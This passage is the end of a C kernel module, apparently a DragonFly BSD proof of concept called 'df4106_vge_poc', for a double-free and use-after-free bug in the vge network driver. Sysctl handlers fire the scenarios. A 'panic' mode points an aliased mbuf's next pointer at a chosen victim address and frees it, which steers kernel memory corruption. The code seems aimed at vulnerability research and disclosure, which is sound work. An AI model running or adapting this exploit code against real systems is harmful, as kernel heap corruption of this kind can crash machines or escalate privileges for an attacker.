		df4106_alias->m_next = (struct mbuf *)DF4106_MAGIC_VICTIM;
		m_freem(df4106_alias);
		kprintf("df4106: survived the steered m_freem?!\n");
	} else if (df4106_panic) {
		kprintf("df4106: PANIC mode: no aliased pair survived the "
		    "scans — cannot steer\n");
	}

	lwkt_serialize_exit(&df4106_ser);
	df4106_dma_free(sc);
	kfree(sc, M_TEMP);
	kfree(df4106_held, M_TEMP);
	kfree(df4106_mmio, M_TEMP);
	kfree(df4106_ifdata, M_TEMP);
	if (a_dup == 0 && b_dup == 0)
		kprintf("df4106: SURVIVED — double-reference, double-queued "
		    "chain, double free, dangling-entry UAF/theft all "
		    "demonstrated above\n");
	else
		kprintf("df4106: SURVIVED (note: alias scan incomplete — "
		    "see markers above)\n");
	df4106_ran = 1;
	return (0);

out_free:
	if (sc->vge_ldata.vge_rx_list != NULL || sc->vge_ldata.vge_mtag != NULL)
		df4106_dma_free(sc);
	kfree(sc, M_TEMP);
	kfree(df4106_held, M_TEMP);
	kfree(df4106_mmio, M_TEMP);
	kfree(df4106_ifdata, M_TEMP);
	return (rc ? rc : ENXIO);
}

static int
df4106_sysctl_go(SYSCTL_HANDLER_ARGS)
{
	int error, go = 0;

	error = sysctl_handle_int(oidp, &go, 0, req);
	if (error || req->newptr == NULL)
		return (error);
	if (go != 1 || df4106_ran)
		return (EPERM);
	error = df4106_run();
	return (error);
}
SYSCTL_PROC(_kern_df4106, OID_AUTO, go,
    CTLTYPE_INT | CTLFLAG_RW, NULL, 0, df4106_sysctl_go, "I",
    "run the DF-4106 scenarios (needs rxeof/newbuf/mapaddr set)");

static int
df4106_sysctl_panic(SYSCTL_HANDLER_ARGS)
{
	int error, v = df4106_panic;

	error = sysctl_handle_int(oidp, &v, 0, req);
	if (error || req->newptr == NULL)
		return (error);
	df4106_panic = v;
	return (0);
}
SYSCTL_PROC(_kern_df4106, OID_AUTO, panic,
    CTLTYPE_INT | CTLFLAG_RW, NULL, 0, df4106_sysctl_panic, "I",
    "1 = steer the aliased object into an m_freem chase at the end");

static int
df4106_modevent(module_t mod, int type, void *arg)
{
	switch (type) {
	case MOD_LOAD:
		return (0);
	case MOD_UNLOAD:
		return (df4106_ran ? 0 : 0);
	default:
		return (0);
	}
}

static moduledata_t df4106_mod = { "df4106_vge_poc", df4106_modevent, NULL };
DECLARE_MODULE(df4106_vge_poc, df4106_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);
